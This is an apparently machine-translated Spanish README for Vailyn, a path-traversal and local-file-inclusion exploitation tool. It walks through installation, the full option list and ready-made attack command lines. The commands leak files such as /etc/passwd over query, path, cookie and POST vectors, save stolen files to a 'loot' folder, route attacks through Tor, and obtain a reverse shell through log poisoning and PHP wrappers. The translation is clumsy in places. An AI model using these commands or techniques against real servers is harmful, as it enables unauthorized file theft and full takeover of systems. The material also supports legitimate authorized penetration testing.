Travesías por fases y ataques LFI
Encima
Vailyn es una herramienta de análisis y explotación de vulnerabilidades por fases para el cruce de rutas y las vulnerabilidades de inclusión de archivos. Está diseñado para ser lo más potente posible y ofrecer un amplio arsenal de técnicas de derivación de filtros.
¿Como funciona?
Vailyn trabaja en 2 fases. Primero, se comprueba si la vulnerabilidad está presente. Lo hace al intentar acceder a / etc / passwd (o un archivo personalizado) con toda su carga útil de evasión. Al analizar la respuesta, las cargas útiles que han funcionado se separan de las demás.
Ahora el usuario puede elegir libremente qué cargas útiles quiere usar. Solo estas cargas útiles se utilizan en la segunda fase.
La segunda fase es la fase de recuperación. Ahora intenta perder todos los archivos posibles con un diccionario de archivos y un diccionario de directorio del servidor. La profundidad de búsqueda y el nivel de permutación del directorio se pueden ajustar mediante argumentos. Opcionalmente, puede descargar los archivos que encuentre y almacenarlos en su carpeta de botín. Alternativamente, se intenta obtener un shell inverso en el sistema que permita al atacante tener un control total sobre el servidor.
Actualmente admite múltiples vectores de ataque: consulta, ruta, cookie e inyección de datos POST.
¿Por qué la separación de fases?
La separación en varias fases se realiza para mejorar enormemente el rendimiento de la herramienta. En versiones anteriores, cada combinación de archivo / directorio se verificaba con cada carga útil. Esto creó una gran sobrecarga ya que las cargas útiles se seguían utilizando a pesar de que no funcionaban para la página actual.
instalación
Las versiones de Python recomendadas y probadas son 3.7+, pero también deberían funcionar bien con Python 3.5 y Python 3.6. Para instalar Vailyn, descargue o ejecute el archivo desde la pestaña Lanzamiento
$ git clone https://github.com/VainlyStrain/Vailyn
Una vez que esté en su sistema, debe instalar las dependencias de Python.
Sistemas Unix
Es suficiente para ejecutarse en sistemas Unix.
$ pip install -r requirements.txt # --user
ventana
Algunas bibliotecas que usa Vailyn no funcionan bien con Windows o no se instalan.
Si está utilizando Windows, utilice pip para instalar los requisitos enumerados en Vailyn·›requirements-windows.txt.
Si no puede instalar Twisted, existe una versión no oficial que se supone que se construirá en Windows. Sin embargo, tenga en cuenta que esta es una descarga de terceros y su integridad no está necesariamente garantizada. Después de que esto se haya instalado con éxito, pip se inicia de nuevo. requirements-windows.txt Deberia trabajar.
Pasos finales
Si desea aprovechar al máximo el módulo de shell inverso, debe sshpass, ncat y konsole Configurar. Los nombres de los paquetes varían según la distribución de Linux. En Windows, debe iniciar el oyente manualmente de antemano. Si no te gusta konsole, puede usar otro emulador de terminal en. indicar core/config.py.
¡Eso es todo! Inicie Vailyn yendo a su directorio de instalación y ejecutando
propósito de uso
Vailyn tiene 3 argumentos obligatorios: -v VIC, -a INT and -p2 TP P1 P2. Sin embargo, dependiendo de -a, pueden ser necesarios más argumentos.
, / , ':. . /. ./ .:'':;. : .,:/ ''. /; ..::'',':.,.__.'' ' ' `:.__:''.:'';.. ,;' ** '., .:'`v;. ;v' o. ' '.. :.' ' .' ':;, ' 'o ' . : *| Vailyn |[ VainlyStrain ]Vsynta Vailyn -v VIC -a INT -p2 TP P1 P2 [-p PAM] [-i F] [-Pi VIC2][-c C] [-n] [-d I J K][-s T] [-t] [-L][-l] [-P] [-A] mandatory:-v VIC, --victim VIC Target to attack, part 1 [pre-payload]-a INT, --attack INT Attack type (int, 1-5, or A)< br/>A| Spider (all) 2| Path 5| POST Data, jsonP| Spider (partial) 3| Cookie1| Query Parameter 4| POST Data, plain-p2 TP P1 P2, --phase2 TP P1 P2Attack in Phase 2, and needed parameters┌[ Values ]─────────────┬────────────────────┐│ TP │ P1 │ P2 │├─────────┼─────────────┼────────────────────┤│ leak │ File Dict │ Directory Dict ││ inject │ IP Addr │ Listening Port ││ implant │ Source File │ Server Destination │└─────────┴─────────────┴────────────────────┘additional:-p PAM, --param PAM query parameter or POST data for --attack 1, 4, 5-i F, --check F File to check for in Phase 1 (df: etc/passwd)-Pi VIC2, --vic2 VIC2 Attack Target, part 2 [post-payload]-c C, --cookie C Cookie to append (in header format)-l, --loot Download found files into the loot folder-d I J K, --depths I J Kdepths (I: phase 1, J: phase 2, K: permutation level )-h, --help show this help menu and exit-s T, --timeout T Request Timeout; stable switch for Arjun-t, --tor Pipe attacks through the Tor anonymity network-L, --lfi Additionally use PHP wrappers to leak files-n, --nosploit skip Phase 2 (does not need -p2 TP P1 P2)-P, --precise Use exact depth in Phase 1 (not a range)-A, --app Start Vailyn's Qt5 interfacedevelop:--debug Display every path tried, even 404s.--version Print program version and exit.--notmain Avoid notify2 crash in subprocess call.Info:to leak files using absolute paths: -d 0 0 0to get a shell using absolute paths: -d 0 X 0
Actualmente, Vailyn admite 5 vectores de ataque y ofrece un rastreador para automatizarlos todos. El ataque llevado a cabo cuenta con el apoyo de la -a INT Argumento.
INT attack---- -------1 query-based attack (https://site.com?file=../../../)2 path-based attack (https://site.com/../../../)3 cookie-based attack (will grab the cookies for you)4 plain post data (ELEM1=VAL1&ELEM2=../../../)5 json post data ({"file": "../../../"})A spider fetch + analyze all URLs from site using all vectorsP partial spider fetch + analyze all URLs from site using only selected vectors
También debe especificar un objetivo para atacar. Esto se hace a través de -v VIC y -Pi VIC2donde -v es la parte anterior al punto de inyección y -Pi es el resto.
Ejemplo: si la URL final debería verse así: https://site.com/download.php?file=
Si desea incluir envoltorios PHP en el escaneo (como php: // filter) use el –lfi Argumento. Al final de la fase 1, se le presentará un menú de selección adicional que contiene los envoltorios que funcionaron. (Si alguna)
Si la página atacada está detrás de una página de inicio de sesión, puede ir a. proporcionar una cookie de autenticación -c COOKIE. Si quieres atacar por encima de Tor, usa –tor.
Fase 1
Esta es la fase de análisis en la que las cargas útiles de trabajo se separan de las demás.
Por defecto, /etc/passwd se comprobará. Si el servidor no ejecuta Linux, puede especificar un archivo personalizado escribiendo -i FILENAME. Note que usted Incluir subdirectorios en FILENAME. Puede cambiar la profundidad de búsqueda con el primer valor de -d (Predeterminado = 8). Si desea utilizar rutas absolutas, establezca la primera profundidad en 0.
Fase 2
Esta es la fase de explotación, cuando Vailyn intenta filtrar tantos archivos como sea posible o utiliza varias técnicas para obtener un shell inverso.
La profundidad de búsqueda en la fase 2 (el número máximo de capas atravesadas) se indica mediante el segundo valor de -d Argumento. El nivel de permutación de subdirectorios está determinado por el tercer valor de -d.
Al atacar con rutas absolutas y realizar el ataque de fuga, establezca todas las profundidades en 0. Si desea obtener un proyectil inverso, asegúrese de que la segunda profundidad sea mayor que 0.
Especificando -l, Vailyn no solo muestra los archivos en la terminal, sino que también los descarga y los guarda en la carpeta de botín.
Si desea una salida detallada (que muestre toda la salida, no solo los archivos encontrados), puede usar –debug. Tenga en cuenta que la salida se vuelve realmente desordenada, esto es básicamente una ayuda de depuración.
Para realizar el ataque de fuerza bruta, debe especificar -p2 leak FIL PATH, dónde
- FIL es un archivo de diccionario con solo nombres de archivo (por ejemplo, index.php)
- PATH, es un archivo de diccionario con Solo nombres de directorio. Vailyn realiza la conversión del directorio por usted, por lo que solo necesita un directorio por línea.
Para obtener un shell inverso a través de la inyección de código, puede usar -p2 inject IP PORT, dónde
- IP es tu IP de escucha
- PORT es el puerto que desea escuchar.
Las técnicas (solo funcionan para inclusiones LFI):
- /proc/self/environ inclusion solo funciona en servidores obsoletos
- Apache + Nginx Log Poisoning & inclusion
- SSH Log Poisoning
- poisoned mail inclusion
- Envolturaexpect://data:// (plain & b64)php://input
Prevención de falsos positivos
Para distinguir los resultados reales de los falsos positivos, Vailyn realiza las siguientes pruebas:
- Verifique el código de estado de respuesta
- Verifique que la respuesta sea la misma que era antes de que comenzara el ataque: esto es útil, por ejemplo, si el servidor devuelve 200 pero ignora la entrada de la carga útil o devuelve una página predeterminada si no se encuentra el archivo.
- Similar al n. ° 2, realice una verificación adicional para manejar los parámetros GET de la consulta (útil si el servidor devuelve el error de que falta un parámetro requerido)
- comprobar si hay respuestas vacías
- Verifique las firmas de errores generales en el contenido de la respuesta
- verifique si la carga útil está contenida en la respuesta: Esta es una verificación adicional en caso de que el servidor responda a archivos inexistentes y refleje la carga útil en un mensaje (como ../../secret not found)
- compruebe si la respuesta completa está contenida en la respuesta init-check: útil si el servidor tiene una inclusión estándar que desaparece en 404
- al -a 2, realice una verificación adicional para asegurarse de que el contenido de la respuesta coincida con el contenido de la URL raíz del servidor
- Verificación REGEX para /etc/passwd si lo está utilizando como un archivo de búsqueda
Ejemplos de
- Ataque de consulta simple, fugas de archivos en la fase 2: $ Vailyn -v «http://site.com/download.php» -a 1 -p2 leak dicts/files dicts/dirs -p file -> http://site.com/download.php?file=../INJECT
- Ataque de consulta, pero conozco un archivo file.php existe exactamente en 2 niveles por encima del punto de inclusión: $ Vailyn -v «http://site.com/download.php» -a 1 -p2 leak dicts/files dicts/dirs -p file -i file.php -d 2 X X -P Esto reducirá en gran medida la duración de la Fase 1, ya que es un ataque dirigido.
- Ataque de ruta simple: $ Vailyn -v «http://site.com/» -a 2 -p2 leak dicts/files dicts/dirs -> http://site.com/../INJECT
- Ataque de ruta pero necesito parámetros de consulta y etiqueta: $ Vailyn -v «http://site.com/» -a 2 -p2 leak dicts/files dicts/dirs -Pi «?token=X#title» -> http://site.com/../INJECT?token=X#title
- Ataque de cookies simple: $ Vailyn -v «http://site.com/cookiemonster.php» -a 3 -p2 leak dicts/files dicts/dirs Busque cookies y puede elegir la cookie que desea envenenar
- POST ataque simple: $ Vailyn -v «http://site.com/download.php» -a 4 -p2 leak dicts/files dicts/dirs -p «DATA1=xx&DATA2=INJECT» infectará DATA2 con la carga útil
- POST ataque JSON: $ Vailyn -v «http://site.com/download.php» -a 5 -p2 leak dicts/files dicts/dirs -p ‘{«file»: «INJECT»}’
- Ataque, pero el objetivo está detrás de la pantalla de inicio de sesión: $ Vailyn -v «http://site.com/» -a 1 -p2 leak dicts/files dicts/dirs -c «sessionid=foobar»
- Ataque, pero quiero un shell inverso en el puerto 1337: $ Vailyn -v «http://site.com/download.php» -a 1 -p2 inject MY.IP.IS.XX 1337 # a high Phase 2 Depth is needed for log injection (inicia un oyente ncat para usted si está en Unix)
- Automatización total en modo rastreador: $ Vailyn -v «http://root-url.site» -a ATambién puede especificar otros argumentos aquí, como cookie, profundidad, lfi y archivo de búsqueda
- Automatización total, pero Arjun la necesita –stable: $ Vailyn -v «http://root-url.site» -a A -s ANY
manifestación
El rastreador de Vailyn está analizando una aplicación web muy vulnerable. Los envoltorios LFI no están activados.
Demostración de GUI (v2.2.1-5)
Posibles problemas
Encontré algunos resultados falsos positivos / negativos (o desea señalar otros errores / mejoras): ¡deje un problema!
Código de conducta
Créditos y derechos de autor
Arjun ya no se comercializa con Vailyn. Instale la última versión a través de pip.